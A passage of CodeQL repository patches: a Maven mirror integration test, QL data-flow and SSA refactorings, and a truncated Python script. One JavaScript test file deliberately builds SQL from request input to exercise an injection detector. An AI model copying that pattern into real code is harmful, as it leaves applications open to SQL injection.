file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/sonatype/oss/oss-parent/9/oss-parent-9.pom +Downloaded from codeql-depgraph-plugin-repo: file://[dist-root]/java/tools/ferstl-depgraph-dependencies/org/sonatype/spice/spice-parent/17/spice-parent-17.pom +Downloaded from mirror-force-central: https://repo1.maven.org/maven2/junit/junit/4.11/junit-4.11.pom +Downloaded from mirror-force-central: https://repo1.maven.org/maven2/org/hamcrest/hamcrest-core/1.3/hamcrest-core-1.3.pom +Downloaded from mirror-force-central: https://repo1.maven.org/maven2/org/hamcrest/hamcrest-parent/1.3/hamcrest-parent-1.3.pom diff --git a/java/ql/integration-tests/java/buildless-maven-mirrorof/pom.xml b/java/ql/integration-tests/java/buildless-maven-mirrorof/pom.xml new file mode 100644 index 00000000000..ec4aaf128c1 --- /dev/null +++ b/java/ql/integration-tests/java/buildless-maven-mirrorof/pom.xml @@ -0,0 +1,114 @@ + + + + 4.0.0 + + com.example + maven-sample + 1.0-SNAPSHOT + + maven-sample + + http://www.example.com + + + UTF-8 + 1.7 + 1.7 + + + + + junit + junit + 4.11 + test + + + + + + + exec-maven-plugin + org.codehaus.mojo + 1.1.1 + + + check-maven-version + package + + java + + + + + com.example.App + + + + com.diffplug.spotless + spotless-maven-plugin + 2.19.1 + + + + check + + compile + + + + + + /* FAIL ME */ + + + + + + + + + + + maven-clean-plugin + 3.1.0 + + + + maven-resources-plugin + 3.0.2 + + + maven-compiler-plugin + 3.8.0 + + + maven-surefire-plugin + 2.22.1 + + + maven-jar-plugin + 3.0.2 + + + maven-install-plugin + 2.5.2 + + + maven-deploy-plugin + 2.8.2 + + + + maven-site-plugin + 3.7.1 + + + maven-project-info-reports-plugin + 3.0.0 + + + + + \ No newline at end of file diff --git a/java/ql/integration-tests/java/buildless-maven-mirrorof/settings-xml.expected b/java/ql/integration-tests/java/buildless-maven-mirrorof/settings-xml.expected new file mode 100644 index 00000000000..6a01b100b30 --- /dev/null +++ b/java/ql/integration-tests/java/buildless-maven-mirrorof/settings-xml.expected @@ -0,0 +1,35 @@ + + + + + + + + mirror-force-central + + Mirror Repository + + https://repo1.maven.org/maven2 + + *,!codeql-depgraph-plugin-repo + + + + + + + + codeql-depgraph-plugin-repo + + + codeql-depgraph-plugin-repo + CodeQL Dependency Graph Plugin Repository + file://[dist-root]/java/tools/ferstl-depgraph-dependencies/ + + + + + + codeql-depgraph-plugin-repo + + diff --git a/java/ql/integration-tests/java/buildless-maven-mirrorof/settings.xml b/java/ql/integration-tests/java/buildless-maven-mirrorof/settings.xml new file mode 100644 index 00000000000..8c4268224d4 --- /dev/null +++ b/java/ql/integration-tests/java/buildless-maven-mirrorof/settings.xml @@ -0,0 +1,10 @@ + + + + mirror-force-central + Mirror Repository + https://repo1.maven.org/maven2 + * + + + diff --git a/java/ql/integration-tests/java/buildless-maven-mirrorof/source_archive.expected b/java/ql/integration-tests/java/buildless-maven-mirrorof/source_archive.expected new file mode 100644 index 00000000000..ac35d94be39 --- /dev/null +++ b/java/ql/integration-tests/java/buildless-maven-mirrorof/source_archive.expected @@ -0,0 +1,8 @@ +pom.xml +settings.xml +src/main/java/com/example/App.java +src/main/resources/my-app.properties +src/main/resources/page.xml +src/main/resources/struts.xml +src/test/java/com/example/AppTest.java +test-db/working/settings.xml diff --git a/java/ql/integration-tests/java/buildless-maven-mirrorof/src/main/java/com/example/App.java b/java/ql/integration-tests/java/buildless-maven-mirrorof/src/main/java/com/example/App.java new file mode 100644 index 00000000000..c9eec918587 --- /dev/null +++ b/java/ql/integration-tests/java/buildless-maven-mirrorof/src/main/java/com/example/App.java @@ -0,0 +1,30 @@ +package com.example; + +import java.util.regex.Pattern; +import java.nio.file.Path; +import java.nio.file.Paths; + +/** + * Hello world! + * + */ +public class App +{ + public static void main( String[] args ) + { + System.out.println( "Hello World!" ); + String expectedVersion = System.getenv("EXPECT_MAVEN"); + Path mavenHome = Paths.get(System.getProperty("maven.home")).normalize(); + String observedVersion = mavenHome.getFileName().toString(); + if (expectedVersion != null && !expectedVersion.equals(observedVersion)) { + System.err.println("Wrong maven version, expected '" + expectedVersion + "' but got '" + observedVersion + "'" + mavenHome); + System.exit(1); + } + String commandMatcher = System.getenv("EXPECT_COMMAND_REGEX"); + String command = System.getProperty("sun.java.command"); + if (commandMatcher != null && !Pattern.matches(commandMatcher, command)) { + System.err.println("Wrong command line, '" + command + "' does not match '" + commandMatcher + "'"); + System.exit(1); + } + } +} diff --git a/java/ql/integration-tests/java/buildless-maven-mirrorof/src/main/resources/my-app.properties b/java/ql/integration-tests/java/buildless-maven-mirrorof/src/main/resources/my-app.properties new file mode 100644 index 00000000000..e566b49a29a --- /dev/null +++ b/java/ql/integration-tests/java/buildless-maven-mirrorof/src/main/resources/my-app.properties @@ -0,0 +1 @@ +version=1.0 diff --git a/java/ql/integration-tests/java/buildless-maven-mirrorof/src/main/resources/page.xml b/java/ql/integration-tests/java/buildless-maven-mirrorof/src/main/resources/page.xml new file mode 100644 index 00000000000..2bab459cb03 --- /dev/null +++ b/java/ql/integration-tests/java/buildless-maven-mirrorof/src/main/resources/page.xml @@ -0,0 +1,8 @@ + + +A sample + + +

    Hello world!

    + + diff --git a/java/ql/integration-tests/java/buildless-maven-mirrorof/src/main/resources/struts.xml b/java/ql/integration-tests/java/buildless-maven-mirrorof/src/main/resources/struts.xml new file mode 100644 index 00000000000..73fc0c6b9cb --- /dev/null +++ b/java/ql/integration-tests/java/buildless-maven-mirrorof/src/main/resources/struts.xml @@ -0,0 +1,4 @@ + + +This is a sample file + diff --git a/java/ql/integration-tests/java/buildless-maven-mirrorof/src/test/java/com/example/AppTest.java b/java/ql/integration-tests/java/buildless-maven-mirrorof/src/test/java/com/example/AppTest.java new file mode 100644 index 00000000000..22a94ca6f01 --- /dev/null +++ b/java/ql/integration-tests/java/buildless-maven-mirrorof/src/test/java/com/example/AppTest.java @@ -0,0 +1,20 @@ +package com.example; + +import static org.junit.Assert.assertTrue; + +import org.junit.Test; + +/** + * Unit test for simple App. + */ +public class AppTest +{ + /** + * Rigorous Test :-) + */ + @Test + public void shouldAnswerWithTrue() + { + assertTrue( true ); + } +} diff --git a/java/ql/integration-tests/java/buildless-maven-mirrorof/test.py b/java/ql/integration-tests/java/buildless-maven-mirrorof/test.py new file mode 100644 index 00000000000..9cae7b67553 --- /dev/null +++ b/java/ql/integration-tests/java/buildless-maven-mirrorof/test.py @@ -0,0 +1,10 @@ +import os +import os.path + +def test(codeql, java): + codeql.database.create(build_mode = "none", + _env={ + "_JAVA_OPTIONS": "-Duser.home=" + os.path.join(os.getcwd(), "empty-home"), + "LGTM_INDEX_MAVEN_SETTINGS_FILE": os.path.join(os.path.dirname(os.path.realpath(__file__)), "settings.xml") + } + ) From 32d6ac8da705adc9609f449f6c5388d5886e02b9 Mon Sep 17 00:00:00 2001 From: Napalys Date: Sun, 30 Mar 2025 13:59:36 +0200 Subject: [PATCH 137/282] Add test case to ensure `exec` calls without middleware injection into `Express` are not flagged. --- .../ql/test/query-tests/Security/CWE-089/untyped/hana.js | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/javascript/ql/test/query-tests/Security/CWE-089/untyped/hana.js b/javascript/ql/test/query-tests/Security/CWE-089/untyped/hana.js index 693e1e428ef..259ecbbc4d6 100644 --- a/javascript/ql/test/query-tests/Security/CWE-089/untyped/hana.js +++ b/javascript/ql/test/query-tests/Security/CWE-089/untyped/hana.js @@ -84,3 +84,12 @@ app2.post('/documents/find', (req, res) => { client.execute('select A, B from TEST.NUMBERS order by A' + maliciousInput, function(err, rs) {}); // $ Alert }); }); + +var app3 = express(); + +app3.get('/execute-query', function (req, res) { + var client = req.db; + let maliciousInput = req.body.data; + client.exec('SELECT * FROM DUMMY' + maliciousInput, function (err, rs) {}); + req.db.exec('SELECT * FROM DUMMY' + maliciousInput, function (err, rs) {}); +}); From ca6444ce98faae024d48b36915a4661449ff10f6 Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Thu, 27 Mar 2025 11:02:46 +0100 Subject: [PATCH 138/282] VariableCapture: Replace phi-read reference with SSA data flow integration module. --- .../codeql/dataflow/VariableCapture.qll | 148 ++++++++++-------- 1 file changed, 83 insertions(+), 65 deletions(-) diff --git a/shared/dataflow/codeql/dataflow/VariableCapture.qll b/shared/dataflow/codeql/dataflow/VariableCapture.qll index 3077739338e..c76e1320a37 100644 --- a/shared/dataflow/codeql/dataflow/VariableCapture.qll +++ b/shared/dataflow/codeql/dataflow/VariableCapture.qll @@ -699,6 +699,7 @@ module Flow Input> implements OutputSig class SourceVariable = CaptureContainer; predicate variableWrite(BasicBlock bb, int i, SourceVariable cc, boolean certain) { + Cached::ref() and ( exists(CapturedVariable v | cc = TVariable(v) and captureWrite(v, bb, i, true, _)) or @@ -721,23 +722,55 @@ module Flow Input> implements OutputSig private module CaptureSsa = Ssa::Make; - private newtype TClosureNode = - TSynthRead(CapturedVariable v, BasicBlock bb, int i, Boolean isPost) { - synthRead(v, bb, i, _, _) - } or - TSynthThisQualifier(BasicBlock bb, int i, Boolean isPost) { synthThisQualifier(bb, i) } or - TSynthPhi(CaptureSsa::DefinitionExt phi) { - phi instanceof CaptureSsa::PhiNode or phi instanceof CaptureSsa::PhiReadNode - } or - TExprNode(Expr expr, Boolean isPost) { - expr instanceof VariableRead - or - synthRead(_, _, _, _, expr) - } or - TParamNode(CapturedParameter p) or - TThisParamNode(Callable c) { captureAccess(_, c) } or - TMallocNode(ClosureExpr ce) { hasConstructorCapture(ce, _) } or - TVariableWriteSourceNode(VariableWrite write) + private module DataFlowIntegrationInput implements CaptureSsa::DataFlowIntegrationInputSig { + private import codeql.util.Void + + class Expr instanceof Input::ControlFlowNode { + string toString() { result = super.toString() } + + predicate hasCfgNode(BasicBlock bb, int i) { bb.getNode(i) = this } + } + + class Guard extends Void { + predicate controlsBranchEdge(BasicBlock bb1, BasicBlock bb2, boolean branch) { none() } + } + + predicate guardDirectlyControlsBlock(Guard guard, BasicBlock bb, boolean branch) { none() } + + predicate includeWriteDefsInFlowStep() { none() } + + predicate supportBarrierGuardsOnPhiEdges() { none() } + } + + private module SsaFlow = CaptureSsa::DataFlowIntegration; + + cached + private module Cached { + cached + predicate ref() { any() } + + cached + predicate backref() { localFlowStep(_, _) implies any() } + + cached + newtype TClosureNode = + TSynthRead(CapturedVariable v, BasicBlock bb, int i, Boolean isPost) { + synthRead(v, bb, i, _, _) + } or + TSynthThisQualifier(BasicBlock bb, int i, Boolean isPost) { synthThisQualifier(bb, i) } or + TSynthSsa(SsaFlow::SsaNode n) or + TExprNode(Expr expr, Boolean isPost) { + expr instanceof VariableRead + or + synthRead(_, _, _, _, expr) + } or + TParamNode(CapturedParameter p) or + TThisParamNode(Callable c) { captureAccess(_, c) } or + TMallocNode(ClosureExpr ce) { hasConstructorCapture(ce, _) } or + TVariableWriteSourceNode(VariableWrite write) + } + + private import Cached class ClosureNode extends TClosureNode { /** Gets a textual representation of this node. */ @@ -746,11 +779,7 @@ module Flow Input> implements OutputSig or result = "this" and this = TSynthThisQualifier(_, _, _) or - exists(CaptureSsa::DefinitionExt phi, CaptureContainer cc | - this = TSynthPhi(phi) and - phi.definesAt(cc, _, _, _) and - result = "phi(" + cc.toString() + ")" - ) + exists(SsaFlow::SsaNode n | this = TSynthSsa(n) and result = n.toString()) or exists(Expr expr, boolean isPost | this = TExprNode(expr, isPost) | isPost = false and result = expr.toString() @@ -784,9 +813,7 @@ module Flow Input> implements OutputSig captureWrite(_, bb, i, false, any(VariableWrite vw | result = vw.getLocation())) ) or - exists(CaptureSsa::DefinitionExt phi, BasicBlock bb | - this = TSynthPhi(phi) and phi.definesAt(_, bb, _, _) and result = bb.getLocation() - ) + exists(SsaFlow::SsaNode n | this = TSynthSsa(n) and result = n.getLocation()) or exists(Expr expr | this = TExprNode(expr, _) and result = expr.getLocation()) or @@ -802,7 +829,7 @@ module Flow Input> implements OutputSig } } - private class TSynthesizedCaptureNode = TSynthRead or TSynthThisQualifier or TSynthPhi; + private class TSynthesizedCaptureNode = TSynthRead or TSynthThisQualifier or TSynthSsa; class SynthesizedCaptureNode extends ClosureNode, TSynthesizedCaptureNode { BasicBlock getBasicBlock() { @@ -810,9 +837,7 @@ module Flow Input> implements OutputSig or this = TSynthThisQualifier(result, _, _) or - exists(CaptureSsa::DefinitionExt phi | - this = TSynthPhi(phi) and phi.definesAt(_, result, _, _) - ) + exists(SsaFlow::SsaNode n | this = TSynthSsa(n) and n.getBasicBlock() = result) } Callable getEnclosingCallable() { result = this.getBasicBlock().getEnclosingCallable() } @@ -820,17 +845,13 @@ module Flow Input> implements OutputSig predicate isVariableAccess(CapturedVariable v) { this = TSynthRead(v, _, _, _) or - exists(CaptureSsa::DefinitionExt phi | - this = TSynthPhi(phi) and phi.definesAt(TVariable(v), _, _, _) - ) + exists(SsaFlow::SsaNode n | this = TSynthSsa(n) and n.getSourceVariable() = TVariable(v)) } predicate isInstanceAccess() { this instanceof TSynthThisQualifier or - exists(CaptureSsa::DefinitionExt phi | - this = TSynthPhi(phi) and phi.definesAt(TThis(_), _, _, _) - ) + exists(SsaFlow::SsaNode n | this = TSynthSsa(n) and n.getSourceVariable() = TThis(_)) } } @@ -872,18 +893,7 @@ module Flow Input> implements OutputSig ) } - private predicate step(CaptureContainer cc, BasicBlock bb1, int i1, BasicBlock bb2, int i2) { - CaptureSsa::adjacentDefReadExt(_, cc, bb1, i1, bb2, i2) - } - - private predicate stepToPhi(CaptureContainer cc, BasicBlock bb, int i, TSynthPhi phi) { - exists(CaptureSsa::DefinitionExt next | - CaptureSsa::lastRefRedefExt(_, cc, bb, i, next) and - phi = TSynthPhi(next) - ) - } - - private predicate ssaAccessAt( + private predicate ssaReadAt( ClosureNode n, CaptureContainer cc, boolean isPost, BasicBlock bb, int i ) { exists(CapturedVariable v | @@ -894,49 +904,57 @@ module Flow Input> implements OutputSig or n = TSynthThisQualifier(bb, i, isPost) and cc = TThis(bb.getEnclosingCallable()) or - exists(CaptureSsa::DefinitionExt phi | - n = TSynthPhi(phi) and phi.definesAt(cc, bb, i, _) and isPost = false - ) - or exists(VariableRead vr, CapturedVariable v | captureRead(v, bb, i, true, vr) and n = TExprNode(vr, isPost) and cc = TVariable(v) ) - or + } + + private predicate ssaWriteAt(ClosureNode n, CaptureContainer cc, BasicBlock bb, int i) { exists(VariableWrite vw, CapturedVariable v | captureWrite(v, bb, i, true, vw) and n = TVariableWriteSourceNode(vw) and - isPost = false and cc = TVariable(v) ) or exists(CapturedParameter p | entryDef(cc, bb, i) and cc = TVariable(p) and - n = TParamNode(p) and - isPost = false + n = TParamNode(p) ) or exists(Callable c | entryDef(cc, bb, i) and cc = TThis(c) and - n = TThisParamNode(c) and - isPost = false + n = TThisParamNode(c) ) } - predicate localFlowStep(ClosureNode node1, ClosureNode node2) { - exists(CaptureContainer cc, BasicBlock bb1, int i1, BasicBlock bb2, int i2 | - step(cc, bb1, i1, bb2, i2) and - ssaAccessAt(node1, pragma[only_bind_into](cc), _, bb1, i1) and - ssaAccessAt(node2, pragma[only_bind_into](cc), false, bb2, i2) + bindingset[result, cc] + pragma[inline_late] + private SsaFlow::Node asNode(CaptureContainer cc, ClosureNode n) { + n = TSynthSsa(result) + or + exists(BasicBlock bb, int i | + result.(SsaFlow::ExprNode).getExpr().hasCfgNode(bb, i) and + ssaReadAt(n, cc, false, bb, i) ) or - exists(CaptureContainer cc, BasicBlock bb, int i | - stepToPhi(cc, bb, i, node2) and - ssaAccessAt(node1, cc, _, bb, i) + exists(BasicBlock bb, int i | + result.(SsaFlow::ExprPostUpdateNode).getExpr().hasCfgNode(bb, i) and + ssaReadAt(n, cc, true, bb, i) ) + or + exists(BasicBlock bb, int i | + result.(SsaFlow::WriteDefSourceNode).getDefinition().definesAt(cc, bb, i) and + ssaWriteAt(n, cc, bb, i) + ) + } + + cached + predicate localFlowStep(ClosureNode n1, ClosureNode n2) { + exists(CaptureContainer cc | SsaFlow::localFlowStep(cc, asNode(cc, n1), asNode(cc, n2), _)) } private predicate storeStepClosure( From 70e53c2f8b3cca70fa272516f709d4b53fe41a8f Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Fri, 28 Mar 2025 16:28:12 +0100 Subject: [PATCH 139/282] SSA: Push includeWriteDefsInFlowStep constraint into newtype. --- shared/ssa/codeql/ssa/Ssa.qll | 20 +++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) diff --git a/shared/ssa/codeql/ssa/Ssa.qll b/shared/ssa/codeql/ssa/Ssa.qll index 2bbdb6e2a47..fcaa1eb6a9f 100644 --- a/shared/ssa/codeql/ssa/Ssa.qll +++ b/shared/ssa/codeql/ssa/Ssa.qll @@ -1661,7 +1661,16 @@ module Make Input> { private newtype TNode = TWriteDefSource(WriteDefinition def) { DfInput::ssaDefHasSource(def) } or TExprNode(DfInput::Expr e, Boolean isPost) { e = DfInput::getARead(_) } or - TSsaDefinitionNode(DefinitionExt def) { not phiHasUniqNextNode(def) } or + TSsaDefinitionNode(DefinitionExt def) { + not phiHasUniqNextNode(def) and + if DfInput::includeWriteDefsInFlowStep() + then any() + else ( + def instanceof PhiNode or + def instanceof PhiReadNode or + DfInput::allowFlowIntoUncertainDef(def) + ) + } or TSsaInputNode(SsaPhiExt phi, BasicBlock input) { relevantPhiInputNode(phi, input) } /** @@ -1904,14 +1913,7 @@ module Make Input> { exists(DefinitionExt def | nodeFrom.(SsaDefinitionExtNodeImpl).getDefExt() = def and def.definesAt(v, bb, i, _) and - isUseStep = false and - if DfInput::includeWriteDefsInFlowStep() - then any() - else ( - def instanceof PhiNode or - def instanceof PhiReadNode or - DfInput::allowFlowIntoUncertainDef(def) - ) + isUseStep = false ) or [nodeFrom, nodeFrom.(ExprPostUpdateNode).getPreUpdateNode()].(ReadNode).readsAt(bb, i, v) and From b4daba30a5eb7500945740a9647f3956695588dc Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Mon, 31 Mar 2025 10:42:50 +0200 Subject: [PATCH 140/282] SSA: Remove dead code. --- shared/ssa/codeql/ssa/Ssa.qll | 2 -- 1 file changed, 2 deletions(-) diff --git a/shared/ssa/codeql/ssa/Ssa.qll b/shared/ssa/codeql/ssa/Ssa.qll index fcaa1eb6a9f..7e48feb42dc 100644 --- a/shared/ssa/codeql/ssa/Ssa.qll +++ b/shared/ssa/codeql/ssa/Ssa.qll @@ -1757,8 +1757,6 @@ module Make Input> { this.getExpr().hasCfgNode(bb_, i_) } - SourceVariable getVariable() { result = v_ } - pragma[nomagic] predicate readsAt(BasicBlock bb, int i, SourceVariable v) { bb = bb_ and From 133f08784fa738aa4ddf3711d505f8bd132ab80c Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Thu, 20 Mar 2025 13:12:48 +0100 Subject: [PATCH 141/282] C++: Eliminate dead code, uncertain is always false. --- .../ir/dataflow/internal/DataFlowPrivate.qll | 44 ++++--------------- 1 file changed, 9 insertions(+), 35 deletions(-) diff --git a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll index f6371e5b696..e3e07c1522c 100644 --- a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll +++ b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll @@ -1879,15 +1879,6 @@ module IteratorFlow { phi.definesAt(sv, bb2, i2, _) ) } - - cached - Node getAPriorDefinition(IteratorSsa::DefinitionExt next) { - exists(IRBlock bb, int i, SourceVariable sv, IteratorSsa::DefinitionExt def | - IteratorSsa::lastRefRedefExt(pragma[only_bind_into](def), pragma[only_bind_into](sv), - pragma[only_bind_into](bb), pragma[only_bind_into](i), next) and - nodeToDefOrUse(result, sv, bb, i, _) - ) - } } /** The set of nodes necessary for iterator flow. */ @@ -1912,25 +1903,19 @@ module IteratorFlow { private import IteratorSsaCached - private predicate defToNode(Node node, Def def, boolean uncertain) { - ( - nodeHasOperand(node, def.getValue().asOperand(), def.getIndirectionIndex()) - or - nodeHasInstruction(node, def.getValue().asInstruction(), def.getIndirectionIndex()) - ) and - uncertain = false + private predicate defToNode(Node node, Def def) { + nodeHasOperand(node, def.getValue().asOperand(), def.getIndirectionIndex()) + or + nodeHasInstruction(node, def.getValue().asInstruction(), def.getIndirectionIndex()) } - private predicate nodeToDefOrUse( - Node node, SourceVariable sv, IRBlock bb, int i, boolean uncertain - ) { + private predicate nodeToDefOrUse(Node node, SourceVariable sv, IRBlock bb, int i) { exists(Def def | def.hasIndexInBlock(bb, i, sv) and - defToNode(node, def, uncertain) + defToNode(node, def) ) or - useToNode(bb, i, sv, node) and - uncertain = false + useToNode(bb, i, sv, node) } private predicate useToNode(IRBlock bb, int i, SourceVariable sv, Node nodeTo) { @@ -1949,21 +1934,10 @@ module IteratorFlow { * Holds if `nodeFrom` flows to `nodeTo` in a single step. */ predicate localFlowStep(Node nodeFrom, Node nodeTo) { - exists( - Node nFrom, SourceVariable sv, IRBlock bb1, int i1, IRBlock bb2, int i2, boolean uncertain - | + exists(SourceVariable sv, IRBlock bb1, int i1, IRBlock bb2, int i2 | adjacentDefRead(bb1, i1, sv, bb2, i2) and - nodeToDefOrUse(nFrom, sv, bb1, i1, uncertain) and + nodeToDefOrUse(nodeFrom, sv, bb1, i1) and useToNode(bb2, i2, sv, nodeTo) - | - if uncertain = true - then - nodeFrom = - [ - nFrom, - getAPriorDefinition(any(IteratorSsa::DefinitionExt next | next.definesAt(sv, bb1, i1, _))) - ] - else nFrom = nodeFrom ) } } From aaa7e4cf95f00fcad879e187a96ef1f7ef3a5405 Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Wed, 26 Mar 2025 13:58:58 +0100 Subject: [PATCH 142/282] C++: Def is only used in defToNode, which doesn't include phi reads nodes. --- .../semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll index e3e07c1522c..13243f2b22e 100644 --- a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll +++ b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll @@ -1834,7 +1834,7 @@ module IteratorFlow { private module IteratorSsa = SsaImpl::Make; - private class Def extends IteratorSsa::DefinitionExt { + private class Def extends IteratorSsa::Definition { final override Location getLocation() { result = this.getImpl().getLocation() } /** @@ -1842,7 +1842,7 @@ module IteratorFlow { * and is a definition (or use) of the variable `sv`. */ predicate hasIndexInBlock(IRBlock block, int index, SourceVariable sv) { - super.definesAt(sv, block, index, _) + super.definesAt(sv, block, index) } private Ssa::DefImpl getImpl() { From a6a694dec65b2e086cebc3676ddbadaab9a2ad92 Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Thu, 20 Mar 2025 14:36:17 +0100 Subject: [PATCH 143/282] C++: Use DataFlowIntegration in IteratorFlow. --- .../ir/dataflow/internal/DataFlowPrivate.qll | 102 ++++++++++-------- .../cpp/ir/dataflow/internal/SsaInternals.qll | 2 +- 2 files changed, 56 insertions(+), 48 deletions(-) diff --git a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll index 13243f2b22e..8a515523930 100644 --- a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll +++ b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll @@ -1834,6 +1834,46 @@ module IteratorFlow { private module IteratorSsa = SsaImpl::Make; + private module DataFlowIntegrationInput implements IteratorSsa::DataFlowIntegrationInputSig { + private import codeql.util.Void + + class Expr extends Instruction { + Expr() { + exists(IRBlock bb, int i | + SsaInput::variableRead(bb, i, _, true) and + this = bb.getInstruction(i) + ) + } + + predicate hasCfgNode(SsaInput::BasicBlock bb, int i) { bb.getInstruction(i) = this } + } + + predicate ssaDefHasSource(IteratorSsa::WriteDefinition def) { none() } + + predicate allowFlowIntoUncertainDef(IteratorSsa::UncertainWriteDefinition def) { any() } + + class Guard extends Void { + predicate controlsBranchEdge( + SsaInput::BasicBlock bb1, SsaInput::BasicBlock bb2, boolean branch + ) { + none() + } + } + + predicate guardDirectlyControlsBlock(Guard guard, SsaInput::BasicBlock bb, boolean branch) { + none() + } + + predicate supportBarrierGuardsOnPhiEdges() { none() } + } + + private module DataFlowIntegrationImpl = + IteratorSsa::DataFlowIntegration; + + private class IteratorSynthNode extends DataFlowIntegrationImpl::SsaNode { + IteratorSynthNode() { not this.asDefinition() instanceof IteratorSsa::WriteDefinition } + } + private class Def extends IteratorSsa::Definition { final override Location getLocation() { result = this.getImpl().getLocation() } @@ -1859,37 +1899,15 @@ module IteratorFlow { int getIndirectionIndex() { result = this.getImpl().getIndirectionIndex() } } - private class PhiNode extends IteratorSsa::DefinitionExt { - PhiNode() { - this instanceof IteratorSsa::PhiNode or - this instanceof IteratorSsa::PhiReadNode - } - - SsaIteratorNode getNode() { result.getIteratorFlowNode() = this } - } - - cached - private module IteratorSsaCached { - cached - predicate adjacentDefRead(IRBlock bb1, int i1, SourceVariable sv, IRBlock bb2, int i2) { - IteratorSsa::adjacentDefReadExt(_, sv, bb1, i1, bb2, i2) - or - exists(PhiNode phi | - IteratorSsa::lastRefRedefExt(_, sv, bb1, i1, phi) and - phi.definesAt(sv, bb2, i2, _) - ) - } - } - /** The set of nodes necessary for iterator flow. */ - class IteratorFlowNode instanceof PhiNode { + class IteratorFlowNode instanceof IteratorSynthNode { /** Gets a textual representation of this node. */ string toString() { result = super.toString() } /** Gets the type of this node. */ DataFlowType getType() { exists(Ssa::SourceVariable sv | - super.definesAt(sv, _, _, _) and + super.getSourceVariable() = sv and result = sv.getType() ) } @@ -1901,43 +1919,33 @@ module IteratorFlow { Location getLocation() { result = super.getBasicBlock().getLocation() } } - private import IteratorSsaCached - private predicate defToNode(Node node, Def def) { nodeHasOperand(node, def.getValue().asOperand(), def.getIndirectionIndex()) or nodeHasInstruction(node, def.getValue().asInstruction(), def.getIndirectionIndex()) } - private predicate nodeToDefOrUse(Node node, SourceVariable sv, IRBlock bb, int i) { - exists(Def def | - def.hasIndexInBlock(bb, i, sv) and - defToNode(node, def) + bindingset[result, v] + pragma[inline_late] + private DataFlowIntegrationImpl::Node fromDfNode(Node n, SourceVariable v) { + result = n.(SsaIteratorNode).getIteratorFlowNode() + or + exists(Ssa::UseImpl use, IRBlock bb, int i | + result.(DataFlowIntegrationImpl::ExprNode).getExpr().hasCfgNode(bb, i) and + use.hasIndexInBlock(bb, i, v) and + use.getNode() = n ) or - useToNode(bb, i, sv, node) - } - - private predicate useToNode(IRBlock bb, int i, SourceVariable sv, Node nodeTo) { - exists(PhiNode phi | - phi.definesAt(sv, bb, i, _) and - nodeTo = phi.getNode() - ) - or - exists(Ssa::UseImpl use | - use.hasIndexInBlock(bb, i, sv) and - nodeTo = use.getNode() - ) + defToNode(n, result.(DataFlowIntegrationImpl::SsaDefinitionNode).getDefinition()) } /** * Holds if `nodeFrom` flows to `nodeTo` in a single step. */ predicate localFlowStep(Node nodeFrom, Node nodeTo) { - exists(SourceVariable sv, IRBlock bb1, int i1, IRBlock bb2, int i2 | - adjacentDefRead(bb1, i1, sv, bb2, i2) and - nodeToDefOrUse(nodeFrom, sv, bb1, i1) and - useToNode(bb2, i2, sv, nodeTo) + exists(SourceVariable v | + nodeFrom != nodeTo and + DataFlowIntegrationImpl::localFlowStep(v, fromDfNode(nodeFrom, v), fromDfNode(nodeTo, v), _) ) } } diff --git a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/SsaInternals.qll b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/SsaInternals.qll index 202d3fa32c8..51829f13df5 100644 --- a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/SsaInternals.qll +++ b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/SsaInternals.qll @@ -1069,7 +1069,7 @@ module BarrierGuard { bindingset[result, v] pragma[inline_late] -DataFlowIntegrationImpl::Node fromDfNode(Node n, SourceVariable v) { +private DataFlowIntegrationImpl::Node fromDfNode(Node n, SourceVariable v) { result = n.(SsaSynthNode).getSynthNode() or exists(UseImpl use, IRBlock bb, int i | From 8a67e4fddcb9e4ad5ae5aa93be573d1fd6a38785 Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Mon, 31 Mar 2025 11:20:40 +0200 Subject: [PATCH 144/282] Misc: Add stage overlap script --- misc/scripts/stageoverlap.py | 81 ++++++++++++++++++++++++++++++++++++ 1 file changed, 81 insertions(+) create mode 100755 misc/scripts/stageoverlap.py diff --git a/misc/scripts/stageoverlap.py b/misc/scripts/stageoverlap.py new file mode 100755 index 00000000000..42b3d8db0b2 --- /dev/null +++ b/misc/scripts/stageoverlap.py @@ -0,0 +1,81 @@ +#!/usr/bin/env python3 + +import sys +import os +import re + +# read first argument +if len(sys.argv) < 2: + print("Usage: stagestats.py ") + sys.exit(1) + +dilfile = sys.argv[1] + +seen_stages = set() +computed_predicates = {} +stage_number = 0 + +def process_stage(stage, cached): + global stage_number + stage_key = ' '.join(cached) + # skip repeated stages (in case we're looking at DIL for several queries, e.g. from a .qls) + if stage_key in seen_stages: + return + # don't count the query-stage as seen, since we don't want to skip those + if not '#select' in cached: + 